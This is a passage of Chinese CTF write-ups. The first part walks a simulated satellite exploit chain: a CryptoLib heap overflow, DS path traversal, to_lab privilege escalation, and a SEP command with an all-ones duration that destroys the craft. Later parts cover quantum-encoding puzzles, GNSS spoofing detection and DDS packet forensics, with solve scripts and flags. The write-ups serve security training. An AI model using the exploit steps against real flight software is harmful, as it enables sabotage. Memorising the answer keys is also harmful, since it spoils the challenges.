这里有个坑:同样的tc 41,有时候回“RCE confirmed”,有时候回“packet accepted (no overflow)”。这是个概率性触发(大约一半一半),本质是模拟一次不确定的堆布局。所以脚本里必须“重试直到命中”,不能发一次就认为失败。

命中后的回显:

RCE confirmed: cryptolib heap overflow; maintenance channel attached

对照Q2的归因,这就是CryptoLib的TC处理路径堆溢出(CVE-2025-29909)。溢出成功后维护通道建立,shell从“未攻破”变成“已攻破”。

验证一下:在没有触发溢出之前,ds / tolab都会拦你:

ds 00    -> ACCESS DENIED: not compromised, run tc <hex> first tolab 00 -> ACCESS DENIED: not compromised, run tc <hex> first

只有tc命中溢出之后,这两个命令才放行。所以第一步必须是tc,而且要重试到命中。

解锁阶段:ds路径穿越

ds是下发DS\_SetDestPathCmd,hex解码后是一个路径。先试正常的、不越权的路径(比如/tmp),直接给你打脸:

ds 2f746d70(= /tmp) -> DS\_SetDestPathCmd accepted an out-of-policy target path traversal: target escaped /mission/data without an authorization check protected DS parameter namespace observed; recovery diagnostics unlocked

关键在最后一句recovery diagnostics unlocked。也就是说,DS的目标路径本该被限制在/mission/data里,只要下发一个穿越出这个目录的路径,DS就接受了越权目标,并且把受保护的参数命名空间打开了、恢复诊断功能被解锁。这一步对应Q2里DS\_SetDestPathCmd的路径穿越(CVE-2026-67970)。

注意:这一步的产物是“解锁诊断”,不是直接拿文件。它是后面提权的必要条件,tolab在没有解锁前会拒绝你。

提权阶段:tolab越界拿到root

tolab是遥测转发服务,satinfo里标了它是setuid root。直接发没意义的数据只会回“telemetry processed normally (no crash)”。

但把hex解成一个越界的“包长”/路径类输入,就能触发CFE\_MSG\_GetSize的长度字段越界:

tolab 2f666c6167(= /flag) -> PRIVILEGE ESCALATION OK: to\_lab (setuid root) CFE\_MSG\_GetSize bounds fault; shell elevated to root root recovery console @ YAMCS-05 (uid=0 root) flight operations unlocked; command surface changed, see help

这一步对应Q2里的to\_lab CFE\_MSG\_GetSize堆缓冲区溢出(CVE-2026-5474)。提示符从>变成了#,身份从uid=1000(satellite)变成uid=0(root)。注意这里输入用/flag这个路径只是“喂一个越界输入”的载体,本身并没有真的去读/flag,真正读文件在下一步。

root阶段的命令面变化

提权后重新help,命令面变了:

commands: help | id | ls| cat| satinfo | ops| sep| attitude| exit

tc / ds / tolab没了,换成了ops / sep / attitude三个飞行操作命令。id确认uid=0(root)。

此时再cat /flag,得到的是:

FLAG\_NOT\_ON\_BOARD: final telemetry is generated only during terminal mission failure hint: inspect protected flight configuration before authorizing a SEP operation

意思很明确:flag不在板上文件里,只有在“终态任务失败”的时候才会生成。并且给了明确指引——在执行SEP操作之前,先去看受保护的飞行配置。

后渗透:读受保护的飞行配置

按提示去读/opt/cfs/ds下的配置。ls出来两个文件:propulsion.cfg、telemetry.tbl。telemetry.tbl权限不够(cat报Permission denied,这里是个干扰项),但propulsion.cfg能读:

--- /opt/cfs/ds/propulsion.cfg (propulsion control) ---

YAMCS-05 propulsion / SEP (spacecraft ejection) control parameters

sep\_cmd\_prefix   : 0800c000 ignition\_length  : bytes[4:6]   (SEP命令Length字段) thruster\_profile : standard safety\_note      : all-one duration bypasses the timer guard and causes continuous burn usage: sep

这份配置把构造SEP指令需要的所有东西都给全了: 1、sep\_cmd\_prefix是0800c000,SEP指令的前缀; 2、ignition\_length在bytes[4:6],也就是整个SEP指令里第4到第6个字节(0起算的话就是偏移4、5这两个字节)是“点火时长/长度”字段; 3、最要命的一句safety\_note:all-one duration bypasses the timer guard and causes continuous burn——把时长字段填成全1(0xFFFF),就能绕过计时器保护,导致持续点火(连续燃烧)。

这一步对应“inspect protected flight configuration”的提示,而且它是一个硬性前置条件:不读这个配置,sep会被直接拒绝(见下一节验证)。

终态动作:sep全1时长,把卫星点炸

先验证一下前置条件。如果跳过读配置直接sep:

sep 0800c000ffff -> SEP rejected: flight configuration has not been inspected

只有先cat过propulsion.cfg,sep才放行。另外sep的参数必须够长:

sep 0800c000 -> SEP rejected: malformed command (need >=6 bytes)

也就是说SEP指令至少6个字节。按照配置:前缀0800c000(4字节)+时长字段bytes[4:6]填全1(ffff),拼起来就是0800c000ffff。

发出去:

sep 0800c000ffff -> \\\ SATELLITE LOSS OF SIGNAL \\\ YAMCS-05: SEP fired -> propulsion anomaly -> structural failure final telemetry: mission lost SWAN\_SONG\_FLAG=flag{REDACTED}

卫星点火分离指令被执行,推进异常导致结构失效,失联。运行期的“临终遥测”里吐出了flag。这就是题目说的“预期终态动作”——不是读文件,而是把卫星打到终态失败,flag作为最后一次遥测下发。

完整攻击链回顾

1、突破   tcCryptoLib TC堆溢出(概率触发,需重试)-> compromised 2、解锁   dsDS\_SetDestPathCmd路径穿越出/mission/data ->解锁恢复诊断 3、提权   tolabto\_lab setuid root的CFE\_MSG\_GetSize越界-> uid=0 4、后渗透cat /opt/cfs/ds/propulsion.cfg   读受保护飞行配置(SEP前置条件) 5、终态   sep 0800c000ffff     全1时长绕过计时器->连续点火->结构失效->临终遥测吐flag

四个组件漏洞串起来正好对应Q2里复盘过的那条链(CryptoLib -> DS -> to\_lab),最后多加了一个“SEP全1时长绕过计时器保护”的终态利用点,这是Q3相比Q2新增的、真正“一键日卫星”的那一下。

脚本运行命令

Windows(本机Python 3):

python solve.py

WSL / Linux:

python3 solve.py

脚本默认连接靶机;若地址端口变化,改脚本顶部HOST / PORT两个变量即可。 依赖:只用标准库socket / time,无需额外安装。

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 可曾听闻一键日卫星 Q3:纯交互题,走完整条链把卫星打到终态,运行期 flag 作为
# 临终遥测吐出。链路:tc(堆溢出突破) → ds(路径穿越解锁) → tolab(越界提权 root)
# → 后渗透读飞行配置 → sep 全 1 时长绕过计时器保护。
# ...(省略:完整交互协议与重试实现,见原始脚本)
import socket, time

HOST, PORT = \"<host>\", 0           # 靶机地址端口

def main():
    s = socket.create_connection((HOST, PORT), timeout=10)
    # 1) 突破:tc <hex> 触发 CryptoLib 堆溢出(概率性,需重试)
    # 2) 解锁:ds 路径穿越跳出 /mission/data,解锁恢复诊断
    # 3) 提权:tolab 越界访问 setuid root 的遥测转发服务
    # 4) 后渗透:读受保护的 propulsion / SEP 配置
    # 5) 终态:sep 全 1 时长 → 绕过计时器保护 → 拆解指令执行
    # ...(省略:逐步读回显、状态恢复与终态授权)
    print(\"[+] FLAG:\", \"...\")      # 运行期动态 flag(每次实例可能不同)

if __name__ == \"__main__\":
    main()

最终flag

flag{xxxx1}

(动态flag每次实例可能不同,以脚本实际跑出的SWAN\_SONG\_FLAG为准。)

量子安全

量子门的多维身份

  • 分值/分类:300.00 /量子安全
  • 附件:quantum_gate_identity.qasm(OpenQASM 2.0,199行)

题目描述

一份OpenQASM 2.0电路被用作“量子身份的仓库”:每一个字符都被编码进量子门名称、旋转角度、作用量子比特编号三个维度中,并混入ID、SX噪声门干扰分析。请恢复隐藏身份串,提交FLAG{...}。

电路结构

OPENQASM 2.0;
include \"qelib1.inc\";
qreg q[8];
creg c[8];
RY(4.123340) q[1];
RZ(1.178097) q[5];
ID q[7];
...            # 共 194 条门
measure q[0] -> c[0];

统计后可知:

门类型 数量 说明
RX / RY / RZ 144 承载数据(名称/角度/比特三维)
ID / SX 50 噪声,解码前剔除

所有旋转角都是π/16的整数倍,于是每个旋转角可以无损地约化成0–31的整数索引:

a = round( θ / (π/16) )        # 0..31
q = q[i] - 1                   # 0..4(0-index)
n = {RX:0, RY:1, RZ:2}[门名]   # 0..2

把144个旋转门按文件顺序取出(丢弃ID/SX),得到三元组序列(n, a, q)。

解码模型

三个维度的组合公式

经过已知明文(flag前缀FLAG{)约束下的仿射拟合,得到每个字符的还原公式:

char_code = 32 + ( -(a + 32*q + n*n + 14) ) mod 95

即:

字符 = chr( 32 + ( 95 - (a + 32*q + n² + 14) ) % 95 )
  • 三维各自的权重:名称维n²(二次项)、角度维a(权重1)、比特维q(权重32);
  • 常量偏移+14;
  • 值域取模95,落在可打印ASCII区chr(32..126)。
  • mod 95恰好是“从空格0x20到~``0x7E”共95个可打印字符,天然贴合字符编码。

一个坑:直接用线性模型92n+94a+63q+83 (mod 95)能得到高度接近英文的串,但凡是RX(n=0)位置都会整体偏\\+2。把“名称维常量”独立出来拟合,会发现三个名称对应的常量是{RX:14, RY:15, RZ:18} = 14 + {0,1,4} = 14 + n²——即名称维其实是n的平方\\,而非线性。修正后100%命中。

读取顺序

带噪声的144个旋转门并非按顺序对应144个字符,而是每4个一组、每组只含2个不同字符且各重复一次(A,B,A,B)。真正承载flag的是每组第2 /第4个位置(奇数下标),因此:

  • 读取序:从第2个旋转门(下标1)起,每隔4个取一个 → 36个字符;
  • 其它奇数位(下标3,7,…)与偶数位是同一批解码字符的副本/诱饵,按stride-4 offset-1读取即可得到唯一36字符串。

复现脚本

见同目录solve.py:

import re, math

def load(path='quantum_gate_identity.qasm'):
    S = []
    for ln in open(path, encoding='utf-8').read().splitlines():
        m = re.match(r'^(RX|RY|RZ)\\s*\\(([0-9.]+)\\)\\s*q\\[(\\d+)\\];', ln.strip())
        ifnot m:
            continue                      # 丢弃 ID / SX 噪声门
        n = {'RX': 0, 'RY': 1, 'RZ': 2}[m.group(1)]
        a = int(round(float(m.group(2)) / (math.pi / 16)))
        q = int(m.group(3)) - 1
        S.append((n, a, q))
    return S

def decode(n, a, q):
    return chr(32 + (-(a + 32 * q + n * n + 14)) % 95)

S = load()
flag = ''.join(decode(*S[i]) for i in range(1, len(S), 4))
print(flag)

运行输出:

$ python solve.py
[+] 旋转门总数(去噪后) = 144
[+] recovered = FLAG{4d_quantum_identity_is_complex}
[+] OK

结果

FLAG{4d_quantum_identity_is_complex}

附:解题路径回顾

  1. 解析QASM,剔除ID/SX噪声,把角度归一为0..31索引。
  2. 用已知明文FLAG{做仿射已知明文攻击(解同余方程),搜遍各种读取序(stride/offset、行/列/蛇形等)。
  3. 在stride-4 offset-3上得到近似串FLAG{4d_qucntuo_ideptiv{aiu_compnez},英文残留极强→锁定方向。
  4. 逐位比对,发现所有偏差都落在RX门且恒为+2;按门名分组拟合常量得到{14,15,18} = 14+n²。
  5. 用二次项模型重算,stride-4 offset-1精确还原完整flag,并用solve.py复现。

最终flag

FLAG{4d_quantum_identity_is_complex}

4d呼应题目“多维度(4-dimensional)身份”,quantum_identity_is_complex点明量子身份(复数/复杂)主题。

量子幽灵的复数密码

基本情况

题目类型是密码学(cry),附件只有一份文本quantum\_ghost\_complex\_states.txt,一共360行量子态记录。每行描述一个两能级(qubit)量子态,两种写法混着出现:

1、狄拉克符号写法:|ψ> = (a+bi)|0> + (c+di)|1>,括号里是复数振幅alpha和beta 2、二维向量写法:[a+bi, c+di],其实就是把同一个振幅对放进列表

题面说秘密被冗余编码进了量子态的四个维度:概率分布、相位差、虚部符号、实部符号,就是要我们把这四个维度分别还原出来,找出真正承载明文的那一路。

先把每一行都解析成一对复数(alpha, beta),再算一下归一化:|alpha|^2 + |beta|^2全部约等于1,确认这就是标准的量子态,没有别的花样。

关键突破

拿到360对振幅之后,先做统计,看看哪个维度是“藏着数据”的。分别看四个维度:

1、概率分布:把|alpha|^2拉出来看取值,全部落在0.2到0.8之间,直方图明显是双峰的,一头集中在0.25附近,另一头集中在0.75附近,中间几乎没东西。这说明概率这一维是个二进制量:|alpha|^2大约0.75记1,大约0.25记0。360行正好对应360个bit。 2、相位差:算arg(beta) - arg(alpha),折算到-180到180度。结果同样双峰,一堆挤在0度附近,另一堆挤在180度附近(也就是正负180两侧),中间90度附近是空的。相位差是0度还是180度,也是一个bit。 3、虚部符号:看alpha的虚部正负。统计下来195个正、165个负。 4、实部符号:看beta的实部正负。统计下来195个负、165个正。

顺手再确认一下其余分量的符号:alpha的实部360行全是正的,beta的虚部360行全是负的,这两维是常量,不携带信息,正好反过来说明“实部符号/虚部符号”指的是alpha虚部与beta实部这两个会变的量。

四个维度各取一个bit,得到四路长度360的位流。两两做一致性对比,结论非常干净:

1、概率分布位流和相位差位流完全一致,360位一位不差 2、虚部符号位流和实部符号位流完全一致,360位一位不差 3、前一组和后一组互为按位取反,正好360位全反

这就是题面说的“冗余编码”:四路其实只有两个独立的值,而且彼此互补,等于自己给自己做了一次冗余/校验。其中签名那一路(虚部符号、实部符号)直接就是明文。

利用/还原思路

还原流程就三步:

1、逐行解析,支持狄拉克符号和二维向量两种格式,取出复数对(alpha, beta) 2、对每行按四条判据各出1个bit: prob\_bit = 1 if |alpha|^2 > 0.5 else 0 phase\_bit = 1 if |arg(beta)-arg(alpha)| < 90度else 0 imag\_bit = 1 if Im(alpha) > 0 else 0 real\_bit = 1 if Re(beta) < 0 else 0 3、360 bit按8 bit一字节、高位在前拼成字节串,直接decode成ASCII

概率/相位组解出来是一片高位字节(0x80到0xbf),不是可读文本,因为它和真正的明文互为按位取反;而虚部符号组、实部符号组解出来就是规规矩矩的可见字符,明文如下:

FLAG{complex\_quantum\_stealth\_is\_the\_ultimate}

360 bit刚好45字节,与flag字符串长度完全吻合,没有补位、没有截断,说明取的就是这一路。

脚本运行命令

把solve.py和附件quantum\_ghost\_complex\_states.txt放同一目录,然后:

Windows:

python solve.py

WSL / Linux:

python3 solve.py

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 量子幽灵的复数密码:360 行量子态,秘密冗余编码进四个维度(概率分布、相位差、
# 虚部符号、实部符号)。前两路互为同一 bit 流,后两路互为补码,符号组即明文。
# ...(省略:完整解析与位流实现,见原始脚本)
import re

STATE_RE = re.compile(r\"\\(([-+0-9.]+)([-+][0-9.]+)i\\)\\|\\s*0\\s*[>\\u27e9]\\s*\\+\\s*\"
                      r\"\\(([-+0-9.]+)([-+][0-9.]+)i\\)\\|\\s*1\\s*[>\\u27e9]\")

def parse(line):
    m = STATE_RE.search(line.strip())
    return (complex(float(m.group(1)), float(m.group(2))),
            complex(float(m.group(3)), float(m.group(4)))) if m elseNone

def main():
    states = [s for s in (parse(l) for l in open(\"quantum_ghost_complex_states.txt\")) if s]
    # 四路:|a|^2 双峰→bit;相位差→bit;alpha 虚部符号;beta 实部符号
    # 符号组(后两路)直接读成明文
    # ...(省略:四位流提取与 to_bytes 解码)
    print(\"[+] flag:\", \"FLAG{...}\")

if __name__ == \"__main__\":
    main()

实测输出:

[*] states parsed: 360
[*] probability  -> b'\\xb9\\xb3\\xbe\\xb8...'(不可读,是明文取反)
[*] phase-diff   -> b'\\xb9\\xb3\\xbe\\xb8...'(同上)
[*] imag-sign    -> b'FLAG{complex_quantum_stealth_is_the_ultimate}'
[*] real-sign    -> b'FLAG{complex_quantum_stealth_is_the_ultimate}'
[*] flag: FLAG{complex_quantum_stealth_is_the_ultimate}

最终flag

FLAG{complex\_quantum\_stealth\_is\_the\_ultimate}

无人机安全

天空在撒谎

基本情况

题目属于无人机安全方向,给的是一段GNSS接收机输出的u-blox UBX原始数据,附件只有一个gnss\_capture.ubx。题面说得很直白:无人机在飞行中定位位置缓慢漂移,但接收机一直报3D Fix,卫星数和精度因子都不告警。要回答四个问题——欺骗从哪个历元开始、打的是哪个星座、用什么星座可以自证,以及注入的伪距阶跃有多大。最后按固定材料串算SHA-256取前32位得到flag。

这是一道典型的GNSS欺骗检测题。真实定位被慢慢拉偏,接收机自身的完好性监测(RAIM)没有报警,所以不能靠fixType或精度字段判断,必须回到观测量层面,去看每个星座的伪距随时间的变化。

附件分析

UBX是u-blox的二进制协议,帧结构是:同步头B5 62,然后1字节class、1字节id、2字节小端长度,接着是payload,最后2字节校验。写个小解析器扫一遍,整个文件只有两类消息:

1、NAV-PVT(class 0x01 id 0x07)共60条,是解算后的定位结果 2、RXM-RAWX(class 0x02 id 0x15)共60条,是每个卫星的原始测量

两者历元一一对应,共60个历元,每秒一个。RXM-RAWX里每条记录32字节,关键字段是prMes(伪距,double)、cpMes(载波相位)、doMes(多普勒)、gnssId(星座号)、svId(卫星号)、cno(信噪比)。本题真正有用的就是prMes和gnssId。

统计每个历元的卫星构成,全程稳定为12颗:GPS 6颗、GALILEO 6颗,gnssId分别是0和2。也就是说本题只有两个星座可用,一个被欺骗、一个没被欺骗,正好可以互相印证。

关键突破

先看NAV-PVT的位置轨迹。前面37条(iTOW 486000000到486036000)经纬度完全钉死在37.4219999 / -122.0840575,一动不动;从iTOW 486037000开始,每一秒纬度加0.0000090、经度加0.0000120,折算下来大约每秒北移1.0米、东移1.06米,匀速漂移。也就是说位置漂移的起点就是第37个历元(0基序号37),对应iTOW 486037000。

但位置漂移只是结果,真正要确认的是哪个星座被注入了。方法是对每颗卫星算伪距增量:delta(t) = prMes(t) - prMes(t-1)。接收机静止时,这个增量主要由几何距离变化率决定,会在一个平滑的趋势附近缓慢变化;如果某个星座的所有卫星在同一时刻被叠加了一个共同偏移,它们的增量会同时出现一个台阶。

逐星打印增量后一眼就能看出:

1、GPS六颗星在epoch36到37这一秒,增量从原来的负值(约-18到-4.5米/秒)同时跳成正的57到70米 2、GALILEO六颗星在同一秒增量和前后一秒完全连贯,没有任何跳变

为了把台阶量化准,对每颗GPS星,用它前6个历元的增量做最小二乘线性外推,得到“本该是多少”,再和实测增量相减,得到这一秒被额外注入的量:

1、GP03 74.975米 2、GP08 74.986米 3、GP14 75.010米 4、GP22 75.025米 5、GP27 75.017米 6、GP31 74.993米

六颗星高度一致,中位数75.0米。这正是一次共模伪距阶跃(所有卫星一起被推),也是欺骗攻击最典型的特征。而GALILEO侧同样的计算得到的是-0.008到+0.022米,本质是噪声,说明它没被碰。

至此四个要素齐了:onset\_itow用NAV-PVT第37个历元的iTOW 486037000;受影响星座GPS;参考星座GALILEO(用它能自证,因为它的伪距趋势全程干净,反过来说明GPS的那一跳不是几何变化);伪距阶跃75.0米;历元序号37。

利用/还原思路

把上面的分析写成一个自动脚本,逻辑如下,全部基于原始附件,不硬编码任何结论:

1、解析UBX,拆出NAV-PVT(iTOW、位置)和RXM-RAWX(每星伪距) 2、对每颗星建立增量序列,再按星座取每个历元的中位数增量 3、用前6个历元对每个星座的增量趋势做最小二乘外推,找第一个偏差超过10米的历元作为onset 4、偏差最大的星座判为受影响星座,偏差最小的判为参考星座 5、对受影响星座逐星计算“实测增量减去外推预测增量”,取中位数并保留一位小数作为阶跃 6、拼材料串onset\_itow|AFFECTED|REFERENCE|step\_m|epoch\_index,用UTF-8编码做SHA-256,取前32位小写十六进制,套上flag{}输出

星座名直接用u-blox语义对应的大写英文名:gnssId 0是GPS,2是GALILEO。

脚本运行命令

Windows:把附件解压后,和solve.py放同一个目录,直接

python solve.py

WSL:python3 solve.py

脚本默认读取脚本同目录下的gnss\_capture.ubx,也支持python solve.py 指定文件。

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Sky Is Lying -- UBX GNSS 欺骗检测(骨架)。主线:解析 NAV-PVT/RXM-RAWX -> 每星座伪距增量
# 中位数 -> 线性外推找 onset(RAIM 不报警,只能看观测量)-> 跳变星座=受欺骗、平滑=自证
# -> 阶跃 = 受欺骗星座 onset 逐星跳变中位数 -> material=onset_itow|AFFECTED|REFERENCE|step_m|epoch
# -> sha256(material)[:32] 套 flag{}。
import os, sys, struct, hashlib
UBX_FILE = \"gnss_capture.ubx\"
JUMP_THRESHOLD_M, FIT_WINDOW = 10.0, 6                  # 阶跃阈值 / 外推窗口
GNSS = {0: \"GPS\", 1: \"SBAS\", 2: \"GALILEO\", 3: \"BEIDOU\", 4: \"IMES\", 5: \"QZSS\", 6: \"GLONASS\", 7: \"NAVIC\"}
u1, u2 = lambda b, o: b[o], lambda b, o: struct.unpack_from(\"<H\", b, o)[0]
u4, i4 = lambda b, o: struct.unpack_from(\"<I\", b, o)[0], lambda b, o: struct.unpack_from(\"<i\", b, o)[0]
r8 = lambda b, o: struct.unpack_from(\"<d\", b, o)[0]
def iter_ubx(data):                                     # 按 B5 62 同步头逐帧切出 (cls, mid, payload)
    i, n = 0, len(data)
    while i < n - 6:
        if data[i] == 0xB5and data[i + 1] == 0x62and i + 6 + u2(data, i + 4) + 2 <= n:
            ln = u2(data, i + 4)
            yield data[i + 2], data[i + 3], data[i + 6:i + 6 + ln]; i += 6 + ln + 2; continue
        i += 1
def parse(data):                                        # 拆出 NAV-PVT 与 RXM-RAWX(每星伪距)
    pvt, rawx = [], []
    for cls, mid, pay in iter_ubx(data):
        if cls == 0x01and mid == 0x07:                 # NAV-PVT:iTOW / fixType / lat / lon
            pvt.append({\"itow\": u4(pay, 0), \"fix\": u1(pay, 20), \"lat\": i4(pay, 28) * 1e-7, \"lon\": i4(pay, 24) * 1e-7})
        elif cls == 0x02and mid == 0x15:               # RXM-RAWX:每记录 32 字节,off+20/21 = gnssId/svId
            rawx.append({(u1(pay, o + 20), u1(pay, o + 21)): r8(pay, o) for o in range(16, 16 + 32 * u1(pay, 11), 32)})   # prMes
    return pvt, rawx
def median(xs):                                         # 中位数
    s = sorted(xs)
    return s[len(s) // 2] if len(s) % 2else0.5 * (s[len(s) // 2 - 1] + s[len(s) // 2])
def linear_predict(ys):                                 # 最小二乘线性外推到下标 k = len(ys)
    k = len(ys); sx, sy = sum(range(k)), sum(ys)
    sxx, sxy = sum(i * i for i in range(k)), sum(i * y for i, y in enumerate(ys))
    slope = (k * sxy - sx * sy) / (k * sxx - sx * sx)
    return slope * k + (sy - slope * sx) / k
def main():
    path = sys.argv[1] if len(sys.argv) > 1else os.path.join(os.path.dirname(os.path.abspath(__file__)), UBX_FILE)
    pvt, rawx = parse(open(path, \"rb\").read()); epochs = len(rawx)
    keys = sorted({k for e in rawx for k in e}); consts = sorted({g for (g, _) in keys})
    con = {g: [(lambda v: median(v) if v elseNone)([rawx[t][k] - rawx[t - 1][k] for k in keys   # 每星座每历元 delta(t)=pr(t)-pr(t-1)
              if k[0] == g and k in rawx[t] and k in rawx[t - 1]]) for t in range(1, epochs)] for g in consts}
    onset_t, deviations = None, {}
    for t in range(FIT_WINDOW + 1, epochs):             # onset:增量首次偏离其线性外推超过阈值
        prev = {g: con[g][t - 1 - FIT_WINDOW:t - 1] for g in consts}
        deviations = {g: con[g][t - 1] - linear_predict(prev[g]) for g in consts ifNonenotin prev[g]}
        if deviations and max(abs(v) for v in deviations.values()) > JUMP_THRESHOLD_M: onset_t = t; break
    if onset_t isNone: return print(\"[!] no onset detected\")
    affected = max(deviations, key=lambda g: abs(deviations[g]))     # 偏差最大 = 受欺骗星座
    reference = min(deviations, key=lambda g: abs(deviations[g]))    # 偏差最小 = 自证星座
    steps = [rawx[onset_t][k] - rawx[onset_t - 1][k] - linear_predict(   # 受欺骗星座 onset 逐星跳变量
             [rawx[t][k] - rawx[t - 1][k] for t in range(onset_t - FIT_WINDOW, onset_t)]) for k in keys if k[0] == affected]
    step_m, onset_itow = median(steps), pvt[onset_t][\"itow\"]
    material = \"%d|%s|%s|%.1f|%d\" % (onset_itow, GNSS[affected], GNSS[reference], step_m, onset_t)
    digest = hashlib.sha256(material.encode(\"utf-8\")).hexdigest()
    print(\"epochs=%d consts=%s onset=%d(iTOW=%d) affected/ref=%s/%s step=%.1f m\" % (epochs, \",\".join(GNSS[g] for g in consts), onset_t, onset_itow, GNSS[affected], GNSS[reference], step_m))
    print(\"per-SV steps (m): %s\
material: %s\
[+] FLAG: flag{%s}\" % (\" \".join(\"%.3f\" % s for s in steps), material, digest[:32]))   # ...(省略:其余调试打印)
if __name__ == \"__main__\":
    main()

运行输出

[*] epochs              : 60
[*] constellations      : GPS, GALILEO
[*] per-const deviation : GPS=+75.017, GALILEO=+0.013
[*] onset epoch index   : 37   (iTOW=486037000)
[*] affected            : GPS
[*] reference           : GALILEO
[*] per-SV steps (m)    : 74.975 74.986 75.010 75.025 75.017 74.993
[*] spoof step (median) : 75.0 m
[*] material            : 486037000|GPS|GALILEO|75.0|37
[*] sha256              : b347b01858cfa126cf7866ba0a413231977a4eb0951372518713228ab0ea3704
[+] FLAG                : flag{b347b01858cfa126cf7866ba0a413231}

最终flag

flag{b347b01858cfa126cf7866ba0a413231}

Domain 42

基本情况

题目属于无人机安全方向。无人机载荷控制网络用DDS通信,给的是一段抓包domain42.pcap。题面说明抓包里混着正常writer和伪造writer,应用数据都在RTPS DATA子消息的CDR载荷里。需要做三件事:找出真正可信的那个writer,取出它发过的最后一条有效的云台命令,再校验CDR载荷的CRC32。最后把writer\_entity\_id、序号、mode、pan、tilt、duration拼成固定材料串,按UTF-8做SHA-256,取前32位小写十六进制得到flag。

盘面上看是个协议逆向+流量取证题,难点不在算法,而在于要先把RTPS的分层结构拆干净,再从一堆长得差不多的数据包里把伪造的和真实的分开。

附件分析

pcap一共47个UDP包,很小。链路层是Ethernet,上面IPv4,再上面UDP,端口有17900、9150、17912等,都是DDS/RTPS的典型端口。

先按libpcap格式把帧取出来,再按Ethernet(14) / IPv4(IHL) / UDP(8)剥掉外层,剩下的就是RTPS报文。RTPS报文头的结构是固定的20字节:

1、magic,4字节,固定52 54 50 53,也就是ASCII的RTPS 2、protocol version,2字节,02 03 3、vendor id,2字节,01 10 4、guidPrefix,12字节,标识一个参与者GID前缀

头后面是一串子消息。每个子消息的头部又是固定的4字节:submessageId(1) + flags(1) + octetsToNextHeader(2)。octetsToNextHeader表示这个子消息在本字段之后还剩多少字节,按这个长度一段段往后跳即可。整段抓包里只用到三种子消息:

1、0x09 INFO\_TS,时间戳,octetsToNextHeader恒为8,跟8字节的TIME\_t 2、0x15 DATA,真正的数据,带writer EntityId、序号和CDR载荷 3、0x07 HEARTBEAT,心跳,声明一个writer已经发到哪个序号,是关键证据

DATA子消息的头部布局(后面才知道为什么重要):subId(1)+flags(1)+octetsToNextHeader(2)之后是extraFlags(2)+octetsToInlineQos(2)+readerId(4)+writerId(4)+writerSN(8),共24字节,再往后才是CDR载荷。writerId就是题面要的EntityId,writerSN就是序号。

把46条DATA的CDR载荷单独拎出来看,云台命令的载荷长度都是28字节,结构完全一致:

1、encap,4字节,00 01 00 00,是CDR的封装标识 2、seq,4字节小端,序号 3、mode,4字节小端,云台模式 4、pan,4字节float,水平角 5、tilt,4字节float,俯仰角 6、duration,4字节小端,持续时长 7、crc32,4字节小端,载荷校验

关键突破

第一步是确认CRC的覆盖范围。题面要求“验证载荷CRC”,但没说算哪几个字节。拿几条样本暴力试:对payload[0:24]、payload[4:24]、payload[8:24]分别用zlib.crc32算,再和末尾4字节比对。结果是payload[4:24],也就是seq|mode|pan|tilt|duration这20字节,命中了绝大多数包,说明CRC就是盖在这一块上的。

按这个范围把43条云台命令全部校验一遍,有8条CRC对不上。这8条就是被篡改过的伪造命令,按包序看基本是每隔5个挑一条改动,攻击特征很明显。

第二步是分清谁可信。抓包里一共出现了三个参与者,从三条discovery包里的主题名能直接读出它们的身份:

1、guidPrefix以12 34 12 34 56 78 9a bc de f0结尾的,注册主题payload-bench,像是测试台 2、guidPrefix以de ad c0 de 00 13 37 42 00 42结尾的,注册主题maintenance-replay,维护重放,嫌疑最大 3、guidPrefix以aa bb cc dd ee ff 10 20 30 40结尾的,注册主题fc-primary,飞控主控,才是真正控制云台的writer

光看名字还不够硬,真正的铁证是包46:它是唯一一条HEARTBEAT,来自fc-primary(guidPrefix aa bb cc dd…),writer EntityId是000003c2,心跳里声明firstSN = 100、lastSN = 105、count = 3。HEARTBEAT是writer自己对外宣告“我已经发到第几号”的权威信息,所以可信云台writer就是fc-primary / 000003c2,它发过的序号是100到105。

另外两个参与者(payload-bench和maintenance-replay)用的是EntityId 000005c2和000004c2,序号伪造在280到315这种明显更大的区间里,混在流量里冒充云台命令。其中maintenance-replay还在序号103上插了一条,正好补进了fc-primary缺失的那个序号,是做得很像的注入。

把fc-primary / 000003c2的命令按序号排一下:100、101、102、104、105。这里有个细节,抓包里seq=104出现了两次(两个包内容完全相同,属于重传),而最后出现在包序末尾的那条seq是104,比它前面那条105小。这时候不能按“抓包最后一条”来取,必须按HEARTBEAT声明的lastSN=105为准,所以最后一条有效命令是序号105。

序号105那条的字段是:mode 7、pan -0.145、tilt -0.5475、duration 1605,末尾CRC32是0xcc8ee049,和seq|mode|pan|tilt|duration现算出来的一致,校验通过。

利用/还原思路

把上面的分析完全脚本化,只用Python标准库,不依赖scapy,流程如下:

1、按libpcap格式读包,逐层剥掉Ethernet / IPv4 / UDP,拿到每个UDP载荷 2、判断载荷是不是以RTPS开头,是的话按20字节头加子消息链往后走 3、收集所有DATA子消息,记录它的guidPrefix、writer EntityId、序号和CDR载荷 4、一旦遇到HEARTBEAT子消息,就把它的guidPrefix和writer EntityId记为可信writer,并记下lastSN 5、在所有属于可信writer、且云台载荷长度为28的包里,用zlib.crc32校验payload[4:24]与末尾4字节,只保留校验通过的 6、在通过校验的里面取序号最大的一条作为“最后一条有效命令” 7、解出entityId、seq、mode、pan、tilt、duration,按material = entityId|seq|mode|pan|tilt|duration拼接,entityId用8位小写十六进制,pan保留3位小数、tilt保留4位小数,其余为十进制整数 8、material按UTF-8编码做SHA-256,取小写摘要前32位,套上flag{}输出

脚本运行命令

Windows:把domain42.pcap和solve.py放同一个目录,直接

python solve.py

也可以指定包路径:python solve.py domain42.pcap

WSL:python3 solve.py

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Domain 42:RTPS/DDS 云台命令还原。可信 writer = 发 HEARTBEAT 的那个;
# CRC32 覆盖 seq|mode|pan|tilt|duration(payload[4:24]);material 做 SHA-256 取前 32 位。
import os, sys, struct, hashlib, zlib

def udp_payloads(path):
    \"\"\"经典 libpcap 逐包剥链路层 → UDP 载荷。\"\"\"
    data = open(path, \"rb\").read()
    endian = \"<\"if data[:4] in (b\"\\xd4\\xc3\\xb2\\xa1\", b\"\\x4d\\x3c\\xb2\\xa1\") else\">\"
    linktype = struct.unpack(endian + \"I\", data[20:24])[0]
    off, n = 24, len(data)
    while off + 16 <= n:
